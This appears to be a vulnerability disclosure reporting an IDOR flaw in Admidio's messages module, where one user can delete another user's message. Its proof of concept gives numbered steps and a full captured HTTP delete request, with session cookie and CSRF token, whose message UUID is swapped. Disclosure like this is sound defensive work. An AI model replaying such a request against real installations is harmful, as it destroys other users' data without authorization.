Description

user can delete others’s message. we know the report https://huntr.dev/bounties/24ae402f-220f-41c6-962e-47c26938986e/ , but we find that we do not fix one case.

Proof of Concept

1 user1 send admin a greeting card1

2 user2 send admin a greeting card2

3 user1 delete his message related to greeting card1, using burpsuite hijack the request.

POST /adm_program/modules/messages/messages.php?msg_uuid=7cd5f4ed-dedc-46c6-b4ec-3567246583ef HTTP/1.1
Host: localhost:8080
Content-Length: 49
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
sec-ch-ua-platform: "macOS"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/adm_program/modules/messages/messages.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: BOXCLR=e%3DdXNlcjNAdGVzdC5jb20%3D%26p%3DJDJ5JDEwJEltbDNnQXl0di8xdy5wZFpWQW9pNi40UVhsSnd3R2h5OENCT0VCYVp3ZmhGc2paU3N5UzJx; ADMIDIO_admidio_adm_cookieconsent_status=dismiss; BBLANG=en_US; ADMIDIO_admidio_adm_SESSION_ID=beedb93711a4307d7d676817daeefd7b
Connection: close

admidio-csrf-token=6amCNCtp5js7GH8g2UwyHOU88PKm2M

4 changing the messges uuid as the message related to card2

5 result shows success

IDORs with unpredictable IDs are valid vulnerabilities see https://rez0.blog/hacking/cybersecurity/2022/08/18/unpredictable-idors.html

as the uuid is hard to predicate, we mark Attack Complexity as high